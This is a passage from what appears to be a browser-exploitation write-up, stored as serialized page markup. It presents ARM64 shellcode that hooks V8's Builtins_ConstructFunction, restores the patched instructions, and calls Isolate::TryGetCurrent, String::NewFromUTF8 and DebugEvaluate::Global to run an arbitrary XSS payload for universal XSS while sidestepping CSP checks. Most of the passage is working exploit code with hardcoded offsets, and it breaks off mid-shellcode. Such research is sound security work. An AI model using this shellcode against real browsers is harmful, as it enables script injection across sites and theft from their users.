#-16]!\n",{"type":24,"tag":327,"props":146908,"children":146909},{"class":329,"line":538},[146910],{"type":24,"tag":327,"props":146911,"children":146912},{},[146913],{"type":29,"value":146914},"stp x10, x11, [sp, #-16]!\n",{"type":24,"tag":327,"props":146916,"children":146917},{"class":329,"line":547},[146918],{"type":24,"tag":327,"props":146919,"children":146920},{},[146921],{"type":29,"value":146922},"stp x12, x13, [sp, #-16]!\n",{"type":24,"tag":327,"props":146924,"children":146925},{"class":329,"line":557},[146926],{"type":24,"tag":327,"props":146927,"children":146928},{},[146929],{"type":29,"value":146930},"stp x14, x15, [sp, #-16]!\n",{"type":24,"tag":327,"props":146932,"children":146933},{"class":329,"line":586},[146934],{"type":24,"tag":327,"props":146935,"children":146936},{},[146937],{"type":29,"value":146938},"stp x16, x17, [sp, #-16]!\n",{"type":24,"tag":327,"props":146940,"children":146941},{"class":329,"line":1017},[146942],{"type":24,"tag":327,"props":146943,"children":146944},{},[146945],{"type":29,"value":146946},"stp x18, x19, [sp, #-16]!\n",{"type":24,"tag":327,"props":146948,"children":146949},{"class":329,"line":1026},[146950],{"type":24,"tag":327,"props":146951,"children":146952},{},[146953],{"type":29,"value":146954},"stp x20, x21, [sp, #-16]!\n",{"type":24,"tag":327,"props":146956,"children":146957},{"class":329,"line":1048},[146958],{"type":24,"tag":327,"props":146959,"children":146960},{},[146961],{"type":29,"value":146962},"stp x22, x23, [sp, #-16]!\n",{"type":24,"tag":327,"props":146964,"children":146965},{"class":329,"line":1067},[146966],{"type":24,"tag":327,"props":146967,"children":146968},{},[146969],{"type":29,"value":146970},"stp x24, x25, [sp, #-16]!\n",{"type":24,"tag":327,"props":146972,"children":146973},{"class":329,"line":1075},[146974],{"type":24,"tag":327,"props":146975,"children":146976},{},[146977],{"type":29,"value":146978},"stp x26, x27, [sp, #-16]!\n",{"type":24,"tag":327,"props":146980,"children":146981},{"class":329,"line":1084},[146982],{"type":24,"tag":327,"props":146983,"children":146984},{},[146985],{"type":29,"value":146986},"stp x28, x29, [sp, #-16]!\n",{"type":24,"tag":327,"props":146988,"children":146989},{"class":329,"line":1100},[146990],{"type":24,"tag":327,"props":146991,"children":146992},{},[146993],{"type":29,"value":146994},"str lr, [sp, #-16]!\n",{"type":24,"tag":25,"props":146996,"children":146997},{},[146998],{"type":29,"value":146999},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":24,"tag":25,"props":147001,"children":147002},{},[147003,147005,147010],{"type":29,"value":147004},"The epilogue restores all saved registers, restores the original instructions in ",{"type":24,"tag":284,"props":147006,"children":147008},{"className":147007},[],[147009],{"type":29,"value":146195},{"type":29,"value":147011},", and then returns execution to its beginning:",{"type":24,"tag":317,"props":147013,"children":147015},{"code":147014,"language":146248,"meta":7,"className":146249,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8,  x9,  [sp], #16\nldp x6,  x7,  [sp], #16\nldp x4,  x5,  [sp], #16\nldp x2,  x3,  [sp], #16\nldp x0,  x1,  [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[147016],{"type":24,"tag":284,"props":147017,"children":147018},{"__ignoreMap":7},[147019,147027,147035,147043,147051,147059,147066,147073,147081,147088,147095,147103,147111,147119,147127,147135,147143,147151,147159,147167,147175,147183,147191,147199,147207,147215,147223,147230,147238,147246,147254,147262,147270,147277,147285,147293,147300],{"type":24,"tag":327,"props":147020,"children":147021},{"class":329,"line":330},[147022],{"type":24,"tag":327,"props":147023,"children":147024},{},[147025],{"type":29,"value":147026},"// restore original instructions of Builtins_ConstructFunction\n",{"type":24,"tag":327,"props":147028,"children":147029},{"class":329,"line":367},[147030],{"type":24,"tag":327,"props":147031,"children":147032},{},[147033],{"type":29,"value":147034},"ldr lr, [sp], #16\n",{"type":24,"tag":327,"props":147036,"children":147037},{"class":329,"line":408},[147038],{"type":24,"tag":327,"props":147039,"children":147040},{},[147041],{"type":29,"value":147042},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":24,"tag":327,"props":147044,"children":147045},{"class":329,"line":421},[147046],{"type":24,"tag":327,"props":147047,"children":147048},{},[147049],{"type":29,"value":147050},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":24,"tag":327,"props":147052,"children":147053},{"class":329,"line":450},[147054],{"type":24,"tag":327,"props":147055,"children":147056},{},[147057],{"type":29,"value":147058},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":24,"tag":327,"props":147060,"children":147061},{"class":329,"line":481},[147062],{"type":24,"tag":327,"props":147063,"children":147064},{"emptyLinePlaceholder":16},[147065],{"type":29,"value":544},{"type":24,"tag":327,"props":147067,"children":147068},{"class":329,"line":500},[147069],{"type":24,"tag":327,"props":147070,"children":147071},{},[147072],{"type":29,"value":146601},{"type":24,"tag":327,"props":147074,"children":147075},{"class":329,"line":529},[147076],{"type":24,"tag":327,"props":147077,"children":147078},{},[147079],{"type":29,"value":147080},"mov x0, lr\n",{"type":24,"tag":327,"props":147082,"children":147083},{"class":329,"line":538},[147084],{"type":24,"tag":327,"props":147085,"children":147086},{},[147087],{"type":29,"value":146617},{"type":24,"tag":327,"props":147089,"children":147090},{"class":329,"line":547},[147091],{"type":24,"tag":327,"props":147092,"children":147093},{"emptyLinePlaceholder":16},[147094],{"type":29,"value":544},{"type":24,"tag":327,"props":147096,"children":147097},{"class":329,"line":557},[147098],{"type":24,"tag":327,"props":147099,"children":147100},{},[147101],{"type":29,"value":147102},"// restore original registers\n",{"type":24,"tag":327,"props":147104,"children":147105},{"class":329,"line":586},[147106],{"type":24,"tag":327,"props":147107,"children":147108},{},[147109],{"type":29,"value":147110},"ldp x28, x29, [sp], #16\n",{"type":24,"tag":327,"props":147112,"children":147113},{"class":329,"line":1017},[147114],{"type":24,"tag":327,"props":147115,"children":147116},{},[147117],{"type":29,"value":147118},"ldp x26, x27, [sp], #16\n",{"type":24,"tag":327,"props":147120,"children":147121},{"class":329,"line":1026},[147122],{"type":24,"tag":327,"props":147123,"children":147124},{},[147125],{"type":29,"value":147126},"ldp x24, x25, [sp], #16\n",{"type":24,"tag":327,"props":147128,"children":147129},{"class":329,"line":1048},[147130],{"type":24,"tag":327,"props":147131,"children":147132},{},[147133],{"type":29,"value":147134},"ldp x22, x23, [sp], #16\n",{"type":24,"tag":327,"props":147136,"children":147137},{"class":329,"line":1067},[147138],{"type":24,"tag":327,"props":147139,"children":147140},{},[147141],{"type":29,"value":147142},"ldp x20, x21, [sp], #16\n",{"type":24,"tag":327,"props":147144,"children":147145},{"class":329,"line":1075},[147146],{"type":24,"tag":327,"props":147147,"children":147148},{},[147149],{"type":29,"value":147150},"ldp x18, x19, [sp], #16\n",{"type":24,"tag":327,"props":147152,"children":147153},{"class":329,"line":1084},[147154],{"type":24,"tag":327,"props":147155,"children":147156},{},[147157],{"type":29,"value":147158},"ldp x16, x17, [sp], #16\n",{"type":24,"tag":327,"props":147160,"children":147161},{"class":329,"line":1100},[147162],{"type":24,"tag":327,"props":147163,"children":147164},{},[147165],{"type":29,"value":147166},"ldp x14, x15, [sp], #16\n",{"type":24,"tag":327,"props":147168,"children":147169},{"class":329,"line":1128},[147170],{"type":24,"tag":327,"props":147171,"children":147172},{},[147173],{"type":29,"value":147174},"ldp x12, x13, [sp], #16\n",{"type":24,"tag":327,"props":147176,"children":147177},{"class":329,"line":1148},[147178],{"type":24,"tag":327,"props":147179,"children":147180},{},[147181],{"type":29,"value":147182},"ldp x10, x11, [sp], #16\n",{"type":24,"tag":327,"props":147184,"children":147185},{"class":329,"line":1176},[147186],{"type":24,"tag":327,"props":147187,"children":147188},{},[147189],{"type":29,"value":147190},"ldp x8,  x9,  [sp], #16\n",{"type":24,"tag":327,"props":147192,"children":147193},{"class":329,"line":1184},[147194],{"type":24,"tag":327,"props":147195,"children":147196},{},[147197],{"type":29,"value":147198},"ldp x6,  x7,  [sp], #16\n",{"type":24,"tag":327,"props":147200,"children":147201},{"class":329,"line":1192},[147202],{"type":24,"tag":327,"props":147203,"children":147204},{},[147205],{"type":29,"value":147206},"ldp x4,  x5,  [sp], #16\n",{"type":24,"tag":327,"props":147208,"children":147209},{"class":329,"line":1212},[147210],{"type":24,"tag":327,"props":147211,"children":147212},{},[147213],{"type":29,"value":147214},"ldp x2,  x3,  [sp], #16\n",{"type":24,"tag":327,"props":147216,"children":147217},{"class":329,"line":4841},[147218],{"type":24,"tag":327,"props":147219,"children":147220},{},[147221],{"type":29,"value":147222},"ldp x0,  x1,  [sp], #16\n",{"type":24,"tag":327,"props":147224,"children":147225},{"class":329,"line":4862},[147226],{"type":24,"tag":327,"props":147227,"children":147228},{"emptyLinePlaceholder":16},[147229],{"type":29,"value":544},{"type":24,"tag":327,"props":147231,"children":147232},{"class":329,"line":4870},[147233],{"type":24,"tag":327,"props":147234,"children":147235},{},[147236],{"type":29,"value":147237},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":24,"tag":327,"props":147239,"children":147240},{"class":329,"line":4879},[147241],{"type":24,"tag":327,"props":147242,"children":147243},{},[147244],{"type":29,"value":147245},"// it immediately, so we can clobber and use it as a return register.\n",{"type":24,"tag":327,"props":147247,"children":147248},{"class":329,"line":4913},[147249],{"type":24,"tag":327,"props":147250,"children":147251},{},[147252],{"type":29,"value":147253},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":24,"tag":327,"props":147255,"children":147256},{"class":329,"line":4938},[147257],{"type":24,"tag":327,"props":147258,"children":147259},{},[147260],{"type":29,"value":147261},"// where to return\n",{"type":24,"tag":327,"props":147263,"children":147264},{"class":329,"line":4974},[147265],{"type":24,"tag":327,"props":147266,"children":147267},{},[147268],{"type":29,"value":147269},"mov x4, lr\n",{"type":24,"tag":327,"props":147271,"children":147272},{"class":329,"line":4982},[147273],{"type":24,"tag":327,"props":147274,"children":147275},{"emptyLinePlaceholder":16},[147276],{"type":29,"value":544},{"type":24,"tag":327,"props":147278,"children":147279},{"class":329,"line":4990},[147280],{"type":24,"tag":327,"props":147281,"children":147282},{},[147283],{"type":29,"value":147284},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":24,"tag":327,"props":147286,"children":147287},{"class":329,"line":4999},[147288],{"type":24,"tag":327,"props":147289,"children":147290},{},[147291],{"type":29,"value":147292},"ldp x15, lr, [sp], #16\n",{"type":24,"tag":327,"props":147294,"children":147295},{"class":329,"line":5042},[147296],{"type":24,"tag":327,"props":147297,"children":147298},{"emptyLinePlaceholder":16},[147299],{"type":29,"value":544},{"type":24,"tag":327,"props":147301,"children":147302},{"class":329,"line":5075},[147303],{"type":24,"tag":327,"props":147304,"children":147305},{},[147306],{"type":29,"value":147307},"ret x4\n",{"type":24,"tag":25,"props":147309,"children":147310},{},[147311,147313,147318,147320,147325,147327,147333],{"type":29,"value":147312},"At this point, we have successfully hooked ",{"type":24,"tag":284,"props":147314,"children":147316},{"className":147315},[],[147317],{"type":29,"value":146195},{"type":29,"value":147319}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":24,"tag":284,"props":147321,"children":147323},{"className":147322},[],[147324],{"type":29,"value":146711},{"type":29,"value":147326}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":24,"tag":284,"props":147328,"children":147330},{"className":147329},[],[147331],{"type":29,"value":147332},"Builtins_GlobalEval",{"type":29,"value":66},{"type":24,"tag":25,"props":147335,"children":147336},{},[147337,147342,147344,147349,147351,147356],{"type":24,"tag":284,"props":147338,"children":147340},{"className":147339},[],[147341],{"type":29,"value":147332},{"type":29,"value":147343}," takes a single ",{"type":24,"tag":284,"props":147345,"children":147347},{"className":147346},[],[147348],{"type":29,"value":54646},{"type":29,"value":147350}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":24,"tag":284,"props":147352,"children":147354},{"className":147353},[],[147355],{"type":29,"value":44261},{"type":29,"value":1636},{"type":24,"tag":317,"props":147358,"children":147360},{"code":147359,"language":35820,"meta":7,"className":35818,"style":7},"BUILTIN(GlobalEval) {\n  [...]\n\n  if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n    isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n    return ReadOnlyRoots(isolate).undefined_value();\n  }\n",[147361],{"type":24,"tag":284,"props":147362,"children":147363},{"__ignoreMap":7},[147364,147377,147384,147391,147434,147456,147482],{"type":24,"tag":327,"props":147365,"children":147366},{"class":329,"line":330},[147367,147372],{"type":24,"tag":327,"props":147368,"children":147369},{"style":340},[147370],{"type":29,"value":147371},"BUILTIN",{"type":24,"tag":327,"props":147373,"children":147374},{"style":346},[147375],{"type":29,"value":147376},"(GlobalEval) {\n",{"type":24,"tag":327,"props":147378,"children":147379},{"class":329,"line":367},[147380],{"type":24,"tag":327,"props":147381,"children":147382},{"style":346},[147383],{"type":29,"value":133880},{"type":24,"tag":327,"props":147385,"children":147386},{"class":329,"line":408},[147387],{"type":24,"tag":327,"props":147388,"children":147389},{"emptyLinePlaceholder":16},[147390],{"type":29,"value":544},{"type":24,"tag":327,"props":147392,"children":147393},{"class":329,"line":421},[147394,147399,147404,147408,147413,147417,147421,147425,147430],{"type":24,"tag":327,"props":147395,"children":147396},{"style":346},[147397],{"type":29,"value":147398},"  if (!Builtins::",{"type":24,"tag":327,"props":147400,"children":147401},{"style":1639},[147402],{"type":29,"value":147403},"AllowDynamicFunction",{"type":24,"tag":327,"props":147405,"children":147406},{"style":346},[147407],{"type":29,"value":349},{"type":24,"tag":327,"props":147409,"children":147410},{"style":1639},[147411],{"type":29,"value":147412},"isolate",{"type":24,"tag":327,"props":147414,"children":147415},{"style":346},[147416],{"type":29,"value":2744},{"type":24,"tag":327,"props":147418,"children":147419},{"style":1639},[147420],{"type":29,"value":121805},{"type":24,"tag":327,"props":147422,"children":147423},{"style":346},[147424],{"type":29,"value":2744},{"type":24,"tag":327,"props":147426,"children":147427},{"style":1639},[147428],{"type":29,"value":147429},"target_global_proxy",{"type":24,"tag":327,"props":147431,"children":147432},{"style":346},[147433],{"type":29,"value":41906},{"type":24,"tag":327,"props":147435,"children":147436},{"class":329,"line":450},[147437,147442,147446,147451],{"type":24,"tag":327,"props":147438,"children":147439},{"style":356},[147440],{"type":29,"value":147441},"    isolate",{"type":24,"tag":327,"props":147443,"children":147444},{"style":346},[147445],{"type":29,"value":1679},{"type":24,"tag":327,"props":147447,"children":147448},{"style":340},[147449],{"type":29,"value":147450},"CountUsage",{"type":24,"tag":327,"props":147452,"children":147453},{"style":346},[147454],{"type":29,"value":147455},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":24,"tag":327,"props":147457,"children":147458},{"class":329,"line":481},[147459,147463,147468,147473,147478],{"type":24,"tag":327,"props":147460,"children":147461},{"style":425},[147462],{"type":29,"value":6023},{"type":24,"tag":327,"props":147464,"children":147465},{"style":340},[147466],{"type":29,"value":147467}," ReadOnlyRoots",{"type":24,"tag":327,"props":147469,"children":147470},{"style":346},[147471],{"type":29,"value":147472},"(isolate).",{"type":24,"tag":327,"props":147474,"children":147475},{"style":340},[147476],{"type":29,"value":147477},"undefined_value",{"type":24,"tag":327,"props":147479,"children":147480},{"style":346},[147481],{"type":29,"value":4838},{"type":24,"tag":327,"props":147483,"children":147484},{"class":329,"line":500},[147485],{"type":24,"tag":327,"props":147486,"children":147487},{"style":346},[147488],{"type":29,"value":13439},{"type":24,"tag":25,"props":147490,"children":147491},{},[147492,147494,147499],{"type":29,"value":147493},"This means we would need to patch the function further to ensure it never enters this ",{"type":24,"tag":284,"props":147495,"children":147497},{"className":147496},[],[147498],{"type":29,"value":5999},{"type":29,"value":147500}," block.",{"type":24,"tag":25,"props":147502,"children":147503},{},[147504],{"type":29,"value":147505},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":24,"tag":317,"props":147507,"children":147509},{"code":147508,"language":35820,"meta":7,"className":35818,"style":7},"BUILTIN(GlobalEval) {\n\n  [...]\n\n  DirectHandle\u003CJSFunction> function;\n  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n      isolate, function,\n      Compiler::GetFunctionFromValidatedString(\n          direct_handle(target->native_context(), isolate), source,\n          NO_PARSE_RESTRICTION, kNoSourcePosition));\n  RETURN_RESULT_OR_FAILURE(\n      isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[147510],{"type":24,"tag":284,"props":147511,"children":147512},{"__ignoreMap":7},[147513,147524,147531,147538,147545,147553,147565,147573,147590,147620,147628,147640],{"type":24,"tag":327,"props":147514,"children":147515},{"class":329,"line":330},[147516,147520],{"type":24,"tag":327,"props":147517,"children":147518},{"style":340},[147519],{"type":29,"value":147371},{"type":24,"tag":327,"props":147521,"children":147522},{"style":346},[147523],{"type":29,"value":147376},{"type":24,"tag":327,"props":147525,"children":147526},{"class":329,"line":367},[147527],{"type":24,"tag":327,"props":147528,"children":147529},{"emptyLinePlaceholder":16},[147530],{"type":29,"value":544},{"type":24,"tag":327,"props":147532,"children":147533},{"class":329,"line":408},[147534],{"type":24,"tag":327,"props":147535,"children":147536},{"style":346},[147537],{"type":29,"value":133880},{"type":24,"tag":327,"props":147539,"children":147540},{"class":329,"line":421},[147541],{"type":24,"tag":327,"props":147542,"children":147543},{"emptyLinePlaceholder":16},[147544],{"type":29,"value":544},{"type":24,"tag":327,"props":147546,"children":147547},{"class":329,"line":450},[147548],{"type":24,"tag":327,"props":147549,"children":147550},{"style":346},[147551],{"type":29,"value":147552},"  DirectHandle\u003CJSFunction> function;\n",{"type":24,"tag":327,"props":147554,"children":147555},{"class":329,"line":481},[147556,147561],{"type":24,"tag":327,"props":147557,"children":147558},{"style":340},[147559],{"type":29,"value":147560},"  ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":24,"tag":327,"props":147562,"children":147563},{"style":346},[147564],{"type":29,"value":4663},{"type":24,"tag":327,"props":147566,"children":147567},{"class":329,"line":500},[147568],{"type":24,"tag":327,"props":147569,"children":147570},{"style":346},[147571],{"type":29,"value":147572},"      isolate, function,\n",{"type":24,"tag":327,"props":147574,"children":147575},{"class":329,"line":529},[147576,147581,147586],{"type":24,"tag":327,"props":147577,"children":147578},{"style":346},[147579],{"type":29,"value":147580},"      Compiler::",{"type":24,"tag":327,"props":147582,"children":147583},{"style":340},[147584],{"type":29,"value":147585},"GetFunctionFromValidatedString",{"type":24,"tag":327,"props":147587,"children":147588},{"style":346},[147589],{"type":29,"value":4663},{"type":24,"tag":327,"props":147591,"children":147592},{"class":329,"line":538},[147593,147598,147602,147606,147610,147615],{"type":24,"tag":327,"props":147594,"children":147595},{"style":340},[147596],{"type":29,"value":147597},"          direct_handle",{"type":24,"tag":327,"props":147599,"children":147600},{"style":346},[147601],{"type":29,"value":349},{"type":24,"tag":327,"props":147603,"children":147604},{"style":356},[147605],{"type":29,"value":121805},{"type":24,"tag":327,"props":147607,"children":147608},{"style":346},[147609],{"type":29,"value":1679},{"type":24,"tag":327,"props":147611,"children":147612},{"style":340},[147613],{"type":29,"value":147614},"native_context",{"type":24,"tag":327,"props":147616,"children":147617},{"style":346},[147618],{"type":29,"value":147619},"(), isolate), source,\n",{"type":24,"tag":327,"props":147621,"children":147622},{"class":329,"line":547},[147623],{"type":24,"tag":327,"props":147624,"children":147625},{"style":346},[147626],{"type":29,"value":147627},"          NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":24,"tag":327,"props":147629,"children":147630},{"class":329,"line":557},[147631,147636],{"type":24,"tag":327,"props":147632,"children":147633},{"style":340},[147634],{"type":29,"value":147635},"  RETURN_RESULT_OR_FAILURE",{"type":24,"tag":327,"props":147637,"children":147638},{"style":346},[147639],{"type":29,"value":4663},{"type":24,"tag":327,"props":147641,"children":147642},{"class":329,"line":586},[147643,147648,147653],{"type":24,"tag":327,"props":147644,"children":147645},{"style":346},[147646],{"type":29,"value":147647},"      isolate, Execution::",{"type":24,"tag":327,"props":147649,"children":147650},{"style":340},[147651],{"type":29,"value":147652},"Call",{"type":24,"tag":327,"props":147654,"children":147655},{"style":346},[147656],{"type":29,"value":147657},"(isolate, function, target_global_proxy, {}));\n",{"type":24,"tag":25,"props":147659,"children":147660},{},[147661,147663,147668,147670,147676,147678,147684,147686,147692],{"type":29,"value":147662},"But determining the correct ",{"type":24,"tag":284,"props":147664,"children":147666},{"className":147665},[],[147667],{"type":29,"value":121805},{"type":29,"value":147669}," value, obtaining ",{"type":24,"tag":284,"props":147671,"children":147673},{"className":147672},[],[147674],{"type":29,"value":147675},"target->native_context()",{"type":29,"value":147677},", and locating the ",{"type":24,"tag":284,"props":147679,"children":147681},{"className":147680},[],[147682],{"type":29,"value":147683},"direct_handle",{"type":29,"value":147685}," function, just to make a proper call to ",{"type":24,"tag":284,"props":147687,"children":147689},{"className":147688},[],[147690],{"type":29,"value":147691},"Compiler::GetFunctionFromValidatedString",{"type":29,"value":147693},", seemed unnecessarily cumbersome.",{"type":24,"tag":25,"props":147695,"children":147696},{},[147697,147699,147705],{"type":29,"value":147698},"Instead, we found a much simpler option with no security checks: ",{"type":24,"tag":284,"props":147700,"children":147702},{"className":147701},[],[147703],{"type":29,"value":147704},"DebugEvaluate::Global",{"type":29,"value":147706},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":24,"tag":25,"props":147708,"children":147709},{},[147710],{"type":29,"value":147711},"For our needs, it is straightforward to call:",{"type":24,"tag":317,"props":147713,"children":147715},{"code":147714,"language":35820,"meta":7,"className":35818,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n                                                Handle\u003CString> source,\n                                                debug::EvaluateGlobalMode mode,\n                                                REPLMode repl_mode);\n",[147716],{"type":24,"tag":284,"props":147717,"children":147718},{"__ignoreMap":7},[147719,147767,147796,147817],{"type":24,"tag":327,"props":147720,"children":147721},{"class":329,"line":330},[147722,147727,147731,147735,147740,147745,147749,147754,147758,147763],{"type":24,"tag":327,"props":147723,"children":147724},{"style":1639},[147725],{"type":29,"value":147726},"MaybeDirectHandle",{"type":24,"tag":327,"props":147728,"children":147729},{"style":346},[147730],{"type":29,"value":1596},{"type":24,"tag":327,"props":147732,"children":147733},{"style":1639},[147734],{"type":29,"value":55571},{"type":24,"tag":327,"props":147736,"children":147737},{"style":346},[147738],{"type":29,"value":147739},"> DebugEvaluate::",{"type":24,"tag":327,"props":147741,"children":147742},{"style":340},[147743],{"type":29,"value":147744},"Global",{"type":24,"tag":327,"props":147746,"children":147747},{"style":346},[147748],{"type":29,"value":349},{"type":24,"tag":327,"props":147750,"children":147751},{"style":1639},[147752],{"type":29,"value":147753},"Isolate",{"type":24,"tag":327,"props":147755,"children":147756},{"style":334},[147757],{"type":29,"value":469},{"type":24,"tag":327,"props":147759,"children":147760},{"style":356},[147761],{"type":29,"value":147762}," isolate",{"type":24,"tag":327,"props":147764,"children":147765},{"style":346},[147766],{"type":29,"value":2231},{"type":24,"tag":327,"props":147768,"children":147769},{"class":329,"line":367},[147770,147775,147779,147783,147787,147792],{"type":24,"tag":327,"props":147771,"children":147772},{"style":1639},[147773],{"type":29,"value":147774},"                                                Handle",{"type":24,"tag":327,"props":147776,"children":147777},{"style":346},[147778],{"type":29,"value":1596},{"type":24,"tag":327,"props":147780,"children":147781},{"style":1639},[147782],{"type":29,"value":54646},{"type":24,"tag":327,"props":147784,"children":147785},{"style":346},[147786],{"type":29,"value":13389},{"type":24,"tag":327,"props":147788,"children":147789},{"style":356},[147790],{"type":29,"value":147791},"source",{"type":24,"tag":327,"props":147793,"children":147794},{"style":346},[147795],{"type":29,"value":2231},{"type":24,"tag":327,"props":147797,"children":147798},{"class":329,"line":408},[147799,147804,147809,147813],{"type":24,"tag":327,"props":147800,"children":147801},{"style":346},[147802],{"type":29,"value":147803},"                                                debug::",{"type":24,"tag":327,"props":147805,"children":147806},{"style":1639},[147807],{"type":29,"value":147808},"EvaluateGlobalMode",{"type":24,"tag":327,"props":147810,"children":147811},{"style":356},[147812],{"type":29,"value":113001},{"type":24,"tag":327,"props":147814,"children":147815},{"style":346},[147816],{"type":29,"value":2231},{"type":24,"tag":327,"props":147818,"children":147819},{"class":329,"line":421},[147820,147825,147830],{"type":24,"tag":327,"props":147821,"children":147822},{"style":1639},[147823],{"type":29,"value":147824},"                                                REPLMode",{"type":24,"tag":327,"props":147826,"children":147827},{"style":356},[147828],{"type":29,"value":147829}," repl_mode",{"type":24,"tag":327,"props":147831,"children":147832},{"style":346},[147833],{"type":29,"value":583},{"type":24,"tag":25,"props":147835,"children":147836},{},[147837,147839,147844,147846,147851,147853,147858,147860,147866,147867,147873],{"type":29,"value":147838},"We must supply the ",{"type":24,"tag":284,"props":147840,"children":147842},{"className":147841},[],[147843],{"type":29,"value":147412},{"type":29,"value":147845}," pointer, a ",{"type":24,"tag":284,"props":147847,"children":147849},{"className":147848},[],[147850],{"type":29,"value":54646},{"type":29,"value":147852}," object containing our XSS payload as ",{"type":24,"tag":284,"props":147854,"children":147856},{"className":147855},[],[147857],{"type":29,"value":147791},{"type":29,"value":147859},", and the ",{"type":24,"tag":284,"props":147861,"children":147863},{"className":147862},[],[147864],{"type":29,"value":147865},"mode",{"type":29,"value":1323},{"type":24,"tag":284,"props":147868,"children":147870},{"className":147869},[],[147871],{"type":29,"value":147872},"repl_mode",{"type":29,"value":147874}," values, which are simple enum literals.",{"type":24,"tag":25,"props":147876,"children":147877},{},[147878,147880,147885,147887,147893,147895,147900,147902,147907,147909,147915,147917,147923,147925,147930,147932,147937,147939,147944,147946,147951],{"type":29,"value":147879},"To obtain the ",{"type":24,"tag":284,"props":147881,"children":147883},{"className":147882},[],[147884],{"type":29,"value":147412},{"type":29,"value":147886}," pointer within our shellcode, we call ",{"type":24,"tag":284,"props":147888,"children":147890},{"className":147889},[],[147891],{"type":29,"value":147892},"Isolate::TryGetCurrent()",{"type":29,"value":147894},", which returns the current ",{"type":24,"tag":284,"props":147896,"children":147898},{"className":147897},[],[147899],{"type":29,"value":147412},{"type":29,"value":147901},". To construct a valid ",{"type":24,"tag":284,"props":147903,"children":147905},{"className":147904},[],[147906],{"type":29,"value":54646},{"type":29,"value":147908}," object holding our payload, we call ",{"type":24,"tag":284,"props":147910,"children":147912},{"className":147911},[],[147913],{"type":29,"value":147914},"v8::String::NewFromUTF8",{"type":29,"value":147916},". This ",{"type":24,"tag":284,"props":147918,"children":147920},{"className":147919},[],[147921],{"type":29,"value":147922},"NewFromUTF8",{"type":29,"value":147924}," function takes four arguments: the ",{"type":24,"tag":284,"props":147926,"children":147928},{"className":147927},[],[147929],{"type":29,"value":147412},{"type":29,"value":147931},", the string bytes as ",{"type":24,"tag":284,"props":147933,"children":147935},{"className":147934},[],[147936],{"type":29,"value":11298},{"type":29,"value":147938},", an enum literal specifying the string type, and ",{"type":24,"tag":284,"props":147940,"children":147942},{"className":147941},[],[147943],{"type":29,"value":16064},{"type":29,"value":147945},", which is the size of the ",{"type":24,"tag":284,"props":147947,"children":147949},{"className":147948},[],[147950],{"type":29,"value":11298},{"type":29,"value":24675},{"type":24,"tag":25,"props":147953,"children":147954},{},[147955],{"type":29,"value":147956},"The resulting shellcode that executes our XSS payload looks like this:",{"type":24,"tag":317,"props":147958,"children":147960},{"code":147959,"language":146248,"meta":7,"className":146249,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, 